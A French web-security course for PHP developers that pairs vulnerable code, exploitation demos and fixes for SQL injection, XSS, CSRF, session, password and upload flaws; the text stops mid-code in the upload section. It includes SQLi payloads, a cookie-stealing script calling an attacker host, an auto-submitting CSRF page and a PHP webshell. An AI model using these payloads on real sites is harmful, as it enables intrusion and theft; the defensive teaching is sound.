Aller au contenu

Cybersécurité Web — Développer et configurer un site sécurisé

Cours pratique pour développeur.euse.s PHP

Les exemples de code sont en PHP pour ce cours mais la sécurité s’applique quelque soit le langage que vous utilisez. ce cours concerne les Failles, démonstrations d’exploitation et les contre-attaques.


Sommaire


1. Introduction à la cybersécurité web

1.1. Pourquoi sécuriser une application web ?

Chaque développeur et développeuse web est un acteur de la sécurité. Une application mal sécurisée expose :

En France, la violation d’un système informatique est un délit pénal (article 323-1 du Code pénal) pouvant conduire à 2 ans d’emprisonnement et 60 000 € d’amende. Ces lois s’appliquent également aux pentesters qui opèrent sans autorisation écrite.

Cadre légal important : les démonstrations de ce cours doivent être réalisées uniquement sur des environnements de test que vous contrôlez. Attaquer un système sans autorisation est illégal.

1.2. Le Top 10 OWASP

L’OWASP (Open Web Application Security Project) est une fondation mondiale qui publie chaque année le classement des 10 risques les plus critiques pour les applications web. C’est la référence internationale en sécurité applicative.

Rang Catégorie OWASP 2021 Couverture dans ce cours
A01 Broken Access Control Chapitre 11
A02 Cryptographic Failures Chapitres 6, 10
A03 Injection (SQL, LDAP…) Chapitre 2
A04 Insecure Design Chapitres 5, 13
A05 Security Misconfiguration Chapitres 9, 12
A06 Vulnerable Components Annexe
A07 Auth & Session Failures Chapitre 5
A08 Software & Data Integrity Chapitre 12
A09 Logging & Monitoring Failures Chapitre 13
A10 SSRF Chapitre 12

Ce cours couvre l’intégralité du Top 10 OWASP ainsi que d’autres failles spécifiques au développement PHP.

1.3. La mentalité de l’attaquant

Pour sécuriser efficacement, il faut penser comme un attaquant. Le raisonnement est systématique :

  1. Reconnaissance : identifier les technologies, les endpoints, les formulaires, les erreurs exposées.
  2. Énumération : lister les paramètres, les fichiers accessibles, les utilisateurs.
  3. Exploitation : tenter les vecteurs d’attaque connus.
  4. Post-exploitation : élever les privilèges, exfiltrer les données, installer une persistance.

En tant que développeur.euse, chaque étape ci-dessus doit vous rappeler une contre-mesure à implémenter.

1.4. Environnement de travail sécurisé pour ce cours

Pour les exercices pratiques, créez un environnement isolé. Ne testez jamais sur un site en production.

stack recommandée (locale)
├── PHP 8.2 (via XAMPP ou PHP-CLI)
├── MySQL 8
├── Apache ou Nginx
└── Navigateur + extension "Cookie Editor" + Burp Suite Community (proxy HTTP)
# Vérifier la version de PHP
php -v
# PHP 8.2.x

# Lancer un serveur PHP intégré (pour les tests rapides)
php -S localhost:8080 -t ./public

2. Injection SQL — SQLi

2.1. Principe de la faille

L’injection SQL est la faille numéro 1 des applications web depuis des décennies. Elle survient quand une entrée utilisateur est intégrée directement dans une requête SQL sans être validée ni échappée.

L’attaquant peut alors manipuler la logique de la requête pour :

2.2. Démonstration — Code vulnérable

Formulaire HTML (login.html)

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <title>Connexion</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
</head>
<body class="bg-light">
<div class="container mt-5" style="max-width:400px">
    <div class="card shadow">
        <div class="card-body p-4">
            <h3 class="card-title mb-4">🔐 Connexion</h3>
            <form method="POST" action="login_vulnerable.php">
                <div class="mb-3">
                    <label class="form-label">Email</label>
                    <input type="text" name="email" class="form-control">
                </div>
                <div class="mb-3">
                    <label class="form-label">Mot de passe</label>
                    <input type="password" name="password" class="form-control">
                </div>
                <button type="submit" class="btn btn-primary w-100">Se connecter</button>
            </form>
        </div>
    </div>
</div>
</body>
</html>

Traitement PHP vulnérable (login_vulnerable.php)

<?php
//  CODE VULNÉRABLE — NE PAS UTILISER EN PRODUCTION
$pdo = new PDO('mysql:host=localhost;dbname=demo', 'root', '');

$email    = $_POST['email'];     //  Aucune validation
$password = $_POST['password'];  //  Aucune validation

//  Concaténation directe dans la requête SQL
$sql = "SELECT * FROM users
        WHERE email = '$email'
        AND password = '$password'";

$stmt   = $pdo->query($sql);
$user   = $stmt->fetch();

if ($user) {
    echo "Bienvenue " . $user['nom'];
} else {
    echo "Identifiants incorrects.";
}

2.3. Exploitation — Bypass d’authentification

Entrons dans le champ email la valeur suivante :

' OR '1'='1

La requête SQL construite devient :

SELECT * FROM users
WHERE email = '' OR '1'='1'
AND password = ''

Comme '1'='1' est toujours vrai, cette requête retourne tous les utilisateurs. Le fetch() récupère le premier utilisateur — souvent l’administrateur. Connexion réussie sans connaître aucun identifiant.

Variante encore plus destructrice :

' OR 1=1; DROP TABLE users; --

La requête devient :

SELECT * FROM users WHERE email = '' OR 1=1;
DROP TABLE users; -- ' AND password = ''

Le -- est un commentaire SQL qui neutralise la fin de la requête originale.

2.4. Exploitation — Extraction de données (UNION-based)

Si l’application affiche des résultats de la base, l’attaquant peut utiliser UNION SELECT :

' UNION SELECT 1, user(), database(), version(), 5 --

Cette payload révèle le nom d’utilisateur MySQL, le nom de la base et la version du serveur. À partir de là, l’attaquant peut extraire toute la structure de la base via information_schema.

2.5. Correction — Requêtes préparées (PDO)

<?php
//  CODE SÉCURISÉ — Requêtes préparées avec PDO

$pdo = new PDO(
    'mysql:host=localhost;dbname=demo;charset=utf8mb4',
    'root',
    '',
    [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES   => false, // ✅ Requêtes vraiment préparées
    ]
);

$email    = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';

//  La requête est compilée AVANT d'insérer les paramètres
$stmt = $pdo->prepare(
    "SELECT * FROM users WHERE email = :email LIMIT 1"
);
$stmt->execute([':email' => $email]);
$user = $stmt->fetch();

//  Vérification du mot de passe hashé (voir chapitre 6)
if ($user && password_verify($password, $user['password_hash'])) {
    session_regenerate_id(true); // ✅ Prévention fixation de session
    $_SESSION['user_id'] = $user['id'];
    header('Location: dashboard.php');
    exit;
} else {
    $erreur = "Identifiants incorrects.";
}

Avec les requêtes préparées, les paramètres sont transmis séparément de la requête. Le moteur SQL les traite comme de la data pure, jamais comme du code. L’injection devient impossible.

PDO::ATTR_EMULATE_PREPARES => false est crucial. Avec l’émulation activée (valeur par défaut), PDO simule les requêtes préparées côté PHP, ce qui laisse une fenêtre de vulnérabilité. Désactivez toujours l’émulation.

2.6. Correction — Validation complémentaire

<?php
// Validation stricte des entrées AVANT la requête

function validerEmail(string $email): string
{
    $email = trim($email);
    $email = filter_var($email, FILTER_SANITIZE_EMAIL);

    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        throw new InvalidArgumentException("Format d'email invalide.");
    }

    if (strlen($email) > 254) {
        throw new LengthException("Email trop long.");
    }

    return $email;
}

try {
    $email = validerEmail($_POST['email'] ?? '');
} catch (Exception $e) {
    $erreur = "Entrée invalide."; // Ne pas exposer le détail
    // Logger l'erreur en interne
}

2.7. Second-order injection

La second-order injection est une variante sournoise : les données malveillantes sont d’abord stockées dans la base (correctement échappées), puis réutilisées dans une autre requête sans être de nouveau protégées.

//  Scénario : l'administrateur récupère un nom d'utilisateur de la BDD
// et l'utilise dans une nouvelle requête non préparée

$nomUtilisateur = $row['username']; // vient de la BDD, "semble" sûr
// Mais si username contient : admin'--
$sql = "SELECT * FROM logs WHERE username = '$nomUtilisateur'";
//  INJECTION malgré le fait que la donnée vienne de la BDD !

Règle absolue : toute donnée externe (y compris issue de la base de données) doit être traitée via une requête préparée.


3. Cross-Site Scripting — XSS

3.1. Principe de la faille

Le XSS (Cross-Site Scripting) permet à un attaquant d’injecter du JavaScript dans les pages web vues par d’autres utilisateurs. Il en existe 3 types :

Type Description Persistance
Reflected XSS Le script est dans l’URL, reflété immédiatement Non persistant
Stored XSS Le script est stocké en BDD et exécuté pour chaque visiteur Persistant ⚠️
DOM-based XSS Le script manipule le DOM côté client Variable

Les conséquences possibles : vol de cookies de session, redirection vers un site de phishing, keylogger, défacement, cryptomining, propagation virale.

3.2. Démonstration — Reflected XSS

<?php
//  CODE VULNÉRABLE — Reflected XSS
// URL : /recherche.php?q=<script>alert('XSS')</script>

$recherche = $_GET['q'] ?? '';
echo "<p>Résultats pour : " . $recherche . "</p>";
//  Le script est injecté directement dans le HTML

Payload de démonstration dans l’URL :

/recherche.php?q=<script>alert(document.cookie)</script>

Le navigateur affiche une alerte avec les cookies de session. Un attaquant envoie ce lien à une victime. Quand elle clique, ses cookies sont envoyés au serveur de l’attaquant.

3.3. Démonstration — Stored XSS

<?php
//  CODE VULNÉRABLE — Stored XSS dans un commentaire
$pdo = new PDO('mysql:host=localhost;dbname=demo', 'root', '');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $commentaire = $_POST['commentaire']; // ❌ Pas de nettoyage
    $stmt = $pdo->prepare("INSERT INTO commentaires (texte) VALUES (?)");
    $stmt->execute([$commentaire]);
}

// Affichage
$stmt = $pdo->query("SELECT texte FROM commentaires");
while ($row = $stmt->fetch()) {
    echo "<p>" . $row['texte'] . "</p>"; // ❌ Injection dans le HTML
}

Un attaquant soumet ce commentaire :

<script>
    fetch('https://attaquant.com/steal?c=' + document.cookie);
</script>

Ce script s’exécute dans le navigateur de chaque visiteur qui consulte la page. Leurs cookies sont exfiltrés vers le serveur de l’attaquant.

3.4. Correction — Échappement systématique

<?php
//  CODE SÉCURISÉ

// Fonction centrale d'échappement
function e(string $valeur): string
{
    return htmlspecialchars($valeur, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

//  Reflected XSS corrigé
$recherche = $_GET['q'] ?? '';
echo "<p>Résultats pour : " . e($recherche) . "</p>";

//  Stored XSS corrigé — Échappement à l'affichage
$stmt = $pdo->query("SELECT texte FROM commentaires");
while ($row = $stmt->fetch()) {
    echo "<p>" . e($row['texte']) . "</p>";
}

Règle fondamentale : n’échappez pas à la saisie, mais à l’affichage, dans le bon contexte. Un texte affiché dans du HTML, dans un attribut HTML, dans du JavaScript ou dans du CSS nécessite un échappement différent.

3.5. Contextes d’affichage et échappements correspondants

<?php
$valeur = $_GET['input'] ?? '';

// Contexte HTML (corps de balise)
echo "<p>" . htmlspecialchars($valeur, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "</p>";

// Contexte attribut HTML
echo '<input type="text" value="' . htmlspecialchars($valeur, ENT_QUOTES, 'UTF-8') . '">';

// Contexte JavaScript
//  NE PAS faire : echo "<script>var x = '$valeur';</script>";
//  Passer par JSON encode pour les valeurs JS
$valeurJs = json_encode($valeur, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
echo "<script>var x = $valeurJs;</script>";

// Contexte URL
echo '<a href="' . htmlspecialchars('page.php?ref=' . urlencode($valeur)) . '">Lien</a>';

3.6. Content Security Policy (CSP)

La CSP est un en-tête HTTP qui dit au navigateur quelles sources de scripts sont autorisées. Même si un XSS est injecté, le navigateur refuse de l’exécuter si la source n’est pas dans la whitelist.

<?php
//  En-tête CSP dans chaque page PHP
header("Content-Security-Policy: " .
    "default-src 'self'; " .
    "script-src 'self' https://cdn.jsdelivr.net; " .
    "style-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; " .
    "img-src 'self' data: https:; " .
    "font-src 'self' https://fonts.gstatic.com; " .
    "connect-src 'self'; " .
    "frame-ancestors 'none'; " .
    "base-uri 'self'; " .
    "form-action 'self';"
);
<!-- Équivalent en balise meta (moins recommandé) -->
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self'">

'unsafe-inline' dans script-src annule la protection contre le XSS. Évitez-le pour les scripts. Utilisez des nonces si vous avez besoin de scripts inline.

3.7. DOM-based XSS — Vigilance côté JavaScript

//  VULNÉRABLE — DOM XSS
// URL : /page.html#<img src=x onerror=alert(1)>
const hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash; // injection dans le DOM

//  SÉCURISÉ
const hash = location.hash.substring(1);
document.getElementById('output').textContent = hash; // textContent échappe automatiquement

//  Si vous devez manipuler le HTML
const div = document.getElementById('output');
div.textContent = ''; // Vider
const texte = document.createTextNode(hash); // Créer un nœud texte
div.appendChild(texte); // Pas d'interprétation HTML

4. Cross-Site Request Forgery — CSRF

4.1. Principe de la faille

Le CSRF (Cross-Site Request Forgery) force le navigateur d’un utilisateur authentifié à effectuer une action non voulue sur un site web. Le navigateur envoie automatiquement les cookies de session, ce qui rend la requête légitime aux yeux du serveur.

Scénario d’attaque :

  1. La victime est connectée à sa banque en ligne.
  2. Elle visite une autre page (forum, email, pub) qui contient un formulaire caché.
  3. Ce formulaire soumet automatiquement un virement depuis le compte de la victime.
  4. La banque reçoit la requête avec les cookies valides → transaction effectuée.

4.2. Démonstration — Application vulnérable

<?php
//  CODE VULNÉRABLE — Pas de protection CSRF
// Action : changer l'email de l'utilisateur connecté
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_SESSION['user_id'])) {
    $nouvelEmail = $_POST['email'] ?? '';
    //  Aucune vérification que la requête vient bien de notre site
    $pdo = new PDO('mysql:host=localhost;dbname=demo', 'root', '');
    $stmt = $pdo->prepare("UPDATE users SET email = ? WHERE id = ?");
    $stmt->execute([$nouvelEmail, $_SESSION['user_id']]);
    echo "Email mis à jour : " . htmlspecialchars($nouvelEmail);
}

Page malveillante sur un site tiers

<!-- Sur un site attaquant : attaquant.com/piege.html -->
<!-- Ce formulaire se soumet automatiquement au chargement de la page -->
<html>
<body>
<form id="csrf" method="POST" action="https://votresite.com/compte/email.php" style="display:none">
    <input type="email" name="email" value="hacker@attaquant.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Quand la victime ouvre cette page, son email est changé à son insu. L’attaquant peut ensuite utiliser la fonctionnalité “mot de passe oublié” pour prendre le contrôle du compte.

4.3. Correction — Token CSRF

<?php
//  Génération et stockage du token CSRF
session_start();

function genererTokenCsrf(): string
{
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // 64 caractères hex
    }
    return $_SESSION['csrf_token'];
}

function verifierTokenCsrf(string $tokenRecu): bool
{
    $tokenAttendu = $_SESSION['csrf_token'] ?? '';
    //  hash_equals évite les attaques timing
    return hash_equals($tokenAttendu, $tokenRecu);
}
<!--  Formulaire sécurisé avec token CSRF -->
<form method="POST" action="email.php">
    <!-- Token caché dans chaque formulaire -->
    <input type="hidden" name="csrf_token" value="<?= htmlspecialchars(genererTokenCsrf()) ?>">
    <input type="email" name="email" class="form-control" required>
    <button type="submit" class="btn btn-primary">Mettre à jour</button>
</form>
<?php
//  Vérification côté serveur
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $tokenRecu = $_POST['csrf_token'] ?? '';

    if (!verifierTokenCsrf($tokenRecu)) {
        http_response_code(403);
        die('Requête invalide — token CSRF manquant ou incorrect.');
    }

    //  Token validé → traitement de la requête
    $nouvelEmail = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
    if (!$nouvelEmail) {
        die("Email invalide.");
    }

    $stmt = $pdo->prepare("UPDATE users SET email = ? WHERE id = ?");
    $stmt->execute([$nouvelEmail, $_SESSION['user_id']]);

    //  Régénérer le token après usage (token à usage unique)
    unset($_SESSION['csrf_token']);
    header('Location: compte.php?msg=email_mis_a_jour');
    exit;
}

4.4. Protection CSRF pour les API AJAX

//  En-tête personnalisé pour les requêtes AJAX
// Les requêtes cross-origin ne peuvent pas ajouter d'en-têtes personnalisés

// Dans votre JavaScript
fetch('/api/update-email', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
    },
    body: JSON.stringify({ email: 'nouvel@email.com' })
});
<!-- Token dans une balise meta pour les requêtes AJAX -->
<meta name="csrf-token" content="<?= htmlspecialchars(genererTokenCsrf()) ?>">
<?php
//  Validation du token CSRF dans l'API
$tokenHeader = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!verifierTokenCsrf($tokenHeader)) {
    http_response_code(403);
    echo json_encode(['error' => 'CSRF token invalide']);
    exit;
}
<?php
//  Configurer le cookie de session avec SameSite=Strict
session_set_cookie_params([
    'lifetime' => 0,
    'path'     => '/',
    'domain'   => '',
    'secure'   => true,      // Uniquement en HTTPS
    'httponly' => true,       // Inaccessible en JavaScript
    'samesite' => 'Strict',   // Bloque l'envoi cross-site
]);
session_start();

SameSite=Strict bloque l’envoi du cookie dans toutes les requêtes cross-site, même les liens. SameSite=Lax (valeur par défaut dans les navigateurs modernes) est moins restrictif mais protège contre la plupart des CSRF POST. Ces attributs ne remplacent pas les tokens CSRF — ils se cumulent.


5. Authentification et gestion des sessions

5.1. Les failles d’authentification courantes

Faille Description
Bruteforce Tenter des milliers de mots de passe sans limitation
Credential stuffing Réutiliser des couples email/mot de passe volés sur d’autres sites
Session fixation Imposer un identifiant de session à la victime avant sa connexion
Session hijacking Voler le cookie de session pour usurper l’identité
Enumération d’utilisateurs Différencier “email inconnu” et “mot de passe incorrect”

5.2. Démonstration — Bruteforce

<?php
//  CODE VULNÉRABLE — Pas de limitation de tentatives
$email    = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';

$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$email]);
$user = $stmt->fetch();

if ($user && password_verify($password, $user['password_hash'])) {
    $_SESSION['user_id'] = $user['id'];
    header('Location: /dashboard');
} else {
    echo "Identifiants incorrects."; //  Message différencié possible
}
// ❌ Aucune limitation → attaque bruteforce possible

Un attaquant peut tenter des millions de combinaisons avec des outils comme Hydra ou Burp Suite Intruder.

5.3. Correction — Rate limiting et verrouillage

<?php
//  Protection contre le bruteforce
session_start();

class AuthManager
{
    private PDO $pdo;
    private const MAX_TENTATIVES  = 5;
    private const DELAI_BLOCAGE   = 900; // 15 minutes

    public function __construct(PDO $pdo)
    {
        $this->pdo = $pdo;
    }

    public function estBloqueParIP(string $ip): bool
    {
        $stmt = $this->pdo->prepare(
            "SELECT COUNT(*) FROM login_attempts
             WHERE ip_address = ?
               AND tentative_at > DATE_SUB(NOW(), INTERVAL ? SECOND)
               AND succes = 0"
        );
        $stmt->execute([$ip, self::DELAI_BLOCAGE]);
        return $stmt->fetchColumn() >= self::MAX_TENTATIVES;
    }

    public function enregistrerTentative(string $ip, string $email, bool $succes): void
    {
        $stmt = $this->pdo->prepare(
            "INSERT INTO login_attempts (ip_address, email, succes, tentative_at)
             VALUES (?, ?, ?, NOW())"
        );
        $stmt->execute([$ip, $email, $succes ? 1 : 0]);
    }

    public function connecter(string $email, string $password): ?array
    {
        $ip = $_SERVER['REMOTE_ADDR'];

        if ($this->estBloqueParIP($ip)) {
            //  Message générique — ne pas indiquer la raison précise
            throw new RuntimeException("Trop de tentatives. Réessayez dans 15 minutes.");
        }

        //  Message d'erreur identique que l'email existe ou non
        $stmt = $this->pdo->prepare("SELECT * FROM users WHERE email = ? LIMIT 1");
        $stmt->execute([$email]);
        $user = $stmt->fetch();

        $passwordValide = $user && password_verify($password, $user['password_hash']);

        $this->enregistrerTentative($ip, $email, $passwordValide);

        if (!$passwordValide) {
            //  Délai artificiel pour ralentir le bruteforce et les attaques timing
            usleep(random_int(100000, 300000)); // 0.1 à 0.3 secondes
            return null;
        }

        return $user;
    }
}
-- Table de journalisation des tentatives
CREATE TABLE login_attempts (
    id          INT AUTO_INCREMENT PRIMARY KEY,
    ip_address  VARCHAR(45)  NOT NULL,
    email       VARCHAR(254) NOT NULL,
    succes      TINYINT(1)   NOT NULL DEFAULT 0,
    tentative_at DATETIME    NOT NULL,
    INDEX idx_ip_date (ip_address, tentative_at)
);

5.4. Correction — Session fixation et hijacking

<?php
//  Configuration sécurisée des sessions

// Avant session_start(), dans chaque page
ini_set('session.use_strict_mode', '1');  //  Rejette les ID de session non générés par le serveur
ini_set('session.use_only_cookies', '1'); //  Session uniquement via cookie, pas URL
ini_set('session.cookie_httponly', '1');  //  Cookie inaccessible en JS
ini_set('session.cookie_secure', '1');    //  Cookie uniquement en HTTPS
ini_set('session.cookie_samesite', 'Strict');
ini_set('session.gc_maxlifetime', '1800'); // 30 minutes d'inactivité

session_start();

//  Après la connexion réussie : régénérer l'ID de session
function connecterUtilisateur(array $user): void
{
    session_regenerate_id(true); //  Détruit l'ancienne session, crée une nouvelle
    $_SESSION['user_id']      = $user['id'];
    $_SESSION['user_email']   = $user['email'];
    $_SESSION['user_role']    = $user['role'];
    $_SESSION['connexion_ip'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['connexion_ua'] = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $_SESSION['derniere_activite'] = time();
}

//  Vérification de la validité de session à chaque page
function verifierSession(): void
{
    if (!isset($_SESSION['user_id'])) {
        header('Location: /login.php');
        exit;
    }

    //  Expiration par inactivité
    if (time() - ($_SESSION['derniere_activite'] ?? 0) > 1800) {
        session_destroy();
        header('Location: /login.php?expire=1');
        exit;
    }

    //  Vérification de cohérence IP + User-Agent (détection de hijacking basique)
    if ($_SESSION['connexion_ip'] !== $_SERVER['REMOTE_ADDR']) {
        // Journaliser la tentative suspecte
        session_destroy();
        header('Location: /login.php?suspicious=1');
        exit;
    }

    $_SESSION['derniere_activite'] = time();
}

5.5. Déconnexion sécurisée

<?php
//  Déconnexion complète
function deconnecter(): void
{
    session_start();

    // 1. Vider les données de session
    $_SESSION = [];

    // 2. Supprimer le cookie de session
    if (ini_get("session.use_cookies")) {
        $params = session_get_cookie_params();
        setcookie(
            session_name(), '', time() - 42000,
            $params['path'], $params['domain'],
            $params['secure'], $params['httponly']
        );
    }

    // 3. Détruire la session côté serveur
    session_destroy();

    header('Location: /login.php?deconnecte=1');
    exit;
}

6. Gestion des mots de passe

6.1. Ce qu’il ne faut JAMAIS faire

<?php
//  ERREURS CRITIQUES DE GESTION DES MOTS DE PASSE

//  Stocker en clair
$password_en_clair = $_POST['password'];
$sql = "INSERT INTO users (password) VALUES ('$password_en_clair')";

//  Utiliser MD5 (cassable en millisecondes avec des rainbow tables)
$hash = md5($_POST['password']);

//  Utiliser SHA1 (idem)
$hash = sha1($_POST['password']);

//  Utiliser SHA256 sans sel (vulnérable aux rainbow tables)
$hash = hash('sha256', $_POST['password']);

//  Utiliser un sel faible ou prévisible
$hash = hash('sha256', 'monsitesel' . $_POST['password']);

Les algorithmes MD5 et SHA1 ne sont pas des algorithmes de hachage de mots de passe. Ils sont conçus pour être rapides, ce qui les rend vulnérables au bruteforce. Un GPU moderne teste plusieurs milliards de MD5 par seconde.

6.2. Algorithmes recommandés

<?php
//  Utiliser password_hash() — BCRYPT par défaut (PHP 5.5+)
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);

//  Ou Argon2id (recommandé pour PHP 7.3+)
$hash = password_hash($_POST['password'], PASSWORD_ARGON2ID, [
    'memory_cost' => 65536, // 64 Mo de RAM
    'time_cost'   => 4,     // 4 itérations
    'threads'     => 3,
]);

//  Ou utiliser PASSWORD_DEFAULT (algorithme recommandé par PHP, évolue entre les versions)
$hash = password_hash($_POST['password'], PASSWORD_DEFAULT);
// La valeur par défaut de PHP 8 est PASSWORD_BCRYPT avec cost=10

//  Vérifier un mot de passe
if (password_verify($motDePasseSaisi, $hashEnBase)) {
    // Connexion autorisée
}

//  Détecter si le hash doit être mis à jour (après changement d'algo ou de paramètres)
if (password_needs_rehash($hashEnBase, PASSWORD_ARGON2ID)) {
    $nouveauHash = password_hash($motDePasseSaisi, PASSWORD_ARGON2ID);
    // Mettre à jour en base
}

password_hash() génère automatiquement un sel aléatoire et l’inclut dans la chaîne de hash. Vous n’avez pas besoin de gérer le sel manuellement. Le hash résultant contient l’algorithme, le coût, le sel et le hash : $2y$12$sel...hash....

6.3. Politique de mots de passe

<?php
//  Validation de la politique de mot de passe
function validerMotDePasse(string $password): array
{
    $erreurs = [];

    if (strlen($password) < 12) {
        $erreurs[] = "Le mot de passe doit contenir au moins 12 caractères.";
    }
    if (!preg_match('/[A-Z]/', $password)) {
        $erreurs[] = "Au moins une lettre majuscule requise.";
    }
    if (!preg_match('/[a-z]/', $password)) {
        $erreurs[] = "Au moins une lettre minuscule requise.";
    }
    if (!preg_match('/[0-9]/', $password)) {
        $erreurs[] = "Au moins un chiffre requis.";
    }
    if (!preg_match('/[\W_]/', $password)) {
        $erreurs[] = "Au moins un caractère spécial requis.";
    }

    // Vérifier contre une liste de mots de passe communs
    $motsDePasse_courants = ['password123', '123456789', 'motdepasse', 'qwerty123'];
    if (in_array(strtolower($password), $motsDePasse_courants)) {
        $erreurs[] = "Ce mot de passe est trop commun.";
    }

    return $erreurs;
}
<!--  Indicateur visuel de force côté client (complément, pas substitut) -->
<div class="mb-3">
    <label for="password" class="form-label">Mot de passe</label>
    <input type="password" id="password" name="password"
           class="form-control" minlength="12" required>
    <div id="password-strength" class="progress mt-1" style="height:5px">
        <div id="strength-bar" class="progress-bar" role="progressbar" style="width:0%"></div>
    </div>
    <small id="strength-text" class="form-text text-muted"></small>
</div>

<script>
document.getElementById('password').addEventListener('input', function() {
    const pwd   = this.value;
    let score   = 0;
    let couleur = 'bg-danger';
    let texte   = 'Très faible';

    if (pwd.length >= 8)  score++;
    if (pwd.length >= 12) score++;
    if (/[A-Z]/.test(pwd)) score++;
    if (/[a-z]/.test(pwd)) score++;
    if (/[0-9]/.test(pwd)) score++;
    if (/[\W_]/.test(pwd)) score++;

    if (score >= 5) { couleur = 'bg-success'; texte = 'Fort'; }
    else if (score >= 3) { couleur = 'bg-warning'; texte = 'Moyen'; }

    const bar = document.getElementById('strength-bar');
    bar.style.width = (score / 6 * 100) + '%';
    bar.className = 'progress-bar ' + couleur;
    document.getElementById('strength-text').textContent = texte;
});
</script>

6.4. Réinitialisation sécurisée de mot de passe

<?php
//  Génération d'un token de réinitialisation sécurisé

function genererTokenReinit(int $userId, PDO $pdo): string
{
    $token    = bin2hex(random_bytes(32)); // Token de 64 caractères
    $tokenHash = hash('sha256', $token);  // Stocker le hash, pas le token brut
    $expiration = date('Y-m-d H:i:s', time() + 3600); // 1 heure

    // Invalider les anciens tokens
    $pdo->prepare("DELETE FROM password_resets WHERE user_id = ?")->execute([$userId]);

    $stmt = $pdo->prepare(
        "INSERT INTO password_resets (user_id, token_hash, expires_at) VALUES (?, ?, ?)"
    );
    $stmt->execute([$userId, $tokenHash, $expiration]);

    return $token; // Envoyer le token brut par email
}

function reinitialiserMotDePasse(string $token, string $nouveauPassword, PDO $pdo): bool
{
    $tokenHash = hash('sha256', $token);

    $stmt = $pdo->prepare(
        "SELECT user_id FROM password_resets
         WHERE token_hash = ?
           AND expires_at > NOW()
           AND utilise = 0"
    );
    $stmt->execute([$tokenHash]);
    $row = $stmt->fetch();

    if (!$row) {
        return false; // Token invalide ou expiré
    }

    $erreurs = validerMotDePasse($nouveauPassword);
    if (!empty($erreurs)) {
        return false;
    }

    $hash = password_hash($nouveauPassword, PASSWORD_ARGON2ID);
    $pdo->prepare("UPDATE users SET password_hash = ? WHERE id = ?")
        ->execute([$hash, $row['user_id']]);

    // Marquer le token comme utilisé (évite la réutilisation)
    $pdo->prepare("UPDATE password_resets SET utilise = 1 WHERE token_hash = ?")
        ->execute([$tokenHash]);

    return true;
}

7. Téléchargement de fichiers

7.1. Risques liés aux uploads

L’upload de fichiers est l’une des fonctionnalités les plus dangereuses d’une application web. Les risques sont :

7.2. Démonstration — Upload vulnérable

<?php
//  CODE VULNÉRABLE — Upload sans contrôles
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $fichier = $_FILES['fichier'];

    //  Confiance aveugle au nom original
    $nomFichier = $fichier['name'];

    //  Confiance au type MIME déclaré par le navigateur (falsifiable)
    $typeMime = $fichier['type'];

    //  Stockage dans un dossier accessible publiquement
    move_uploaded_file($fichier['tmp_name'], 'uploads/' . $nomFichier);

    echo "Fichier uploadé : uploads/" . $nomFichier;
}

Un attaquant upload un fichier shell.php :

<?php
// Webshell minimaliste
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}

Il accède ensuite à https://votresite.com/uploads/shell.php?cmd=ls -la et peut exécuter n’importe quelle commande sur le serveur.

7.3. Correction — Upload sécurisé complet

<?php
//  UPLOAD SÉCURISÉ

class UploadSecurise
{
    private const TYPES_AUTORISES = [
        'image/jpeg' => 'jpg',
        'image/png'  => 'png',
        'image/gif'  => 'gif',
        'image/webp' => 'webp',
    ];

    private const TAILLE_MAX    = 5 * 1024 * 1024; // 5 Mo
    private const DOSSIER_UPLOAD = __DIR__ . '/../storage/uploads/'; //  Hors du dossier public

    public function upload(array $fichier): string
    {
        // 1.  Vérifier les erreurs PHP
        if ($fichier['error'] !== UPLOAD_ERR_OK) {
            throw new RuntimeException("Erreur lors de l'upload : " . $fichier['error']);
        }

        // 2.  Vérifier la taille
        if ($fichier['size'] > self::TAILLE_MAX) {
            throw new RuntimeException("Fichier trop volumineux (max 5 Mo).");
        }

        // 3.  Vérifier le type MIME RÉEL (pas le type déclaré par le navigateur)
        $finfo    = new finfo(FILEINFO_MIME_TYPE);
        $typeMime = $finfo->file($fichier['tmp_name']);

        if (!array_key_exists($typeMime, self::TYPES_AUTORISES)) {
            throw new RuntimeException("Type de fichier non autorisé : $typeMime");
        }

        // 4.  Pour les images : vérifier que c'est une vraie image
        if (str_starts_with($typeMime, 'image/')) {
            if (!getimagesize($fichier['tmp_name'])) {
                throw new RuntimeException("Le fichier n'est pas une image valide.");
            }
        }

        // 5.  Générer un nom de fichier aléatoire (jamais utiliser le nom original)
        $extension   = self::TYPES_AUTORISES[$typeMime];
        $nomSecurise = bin2hex(random_bytes(16)) . '.' . $extension;

        // 6.  Créer le dossier si nécessaire
        if (!is_dir(self::DOSSIER_UPLOAD)) {
            mkdir(self::DOSSIER_UPLOAD, 0755, true);
        }

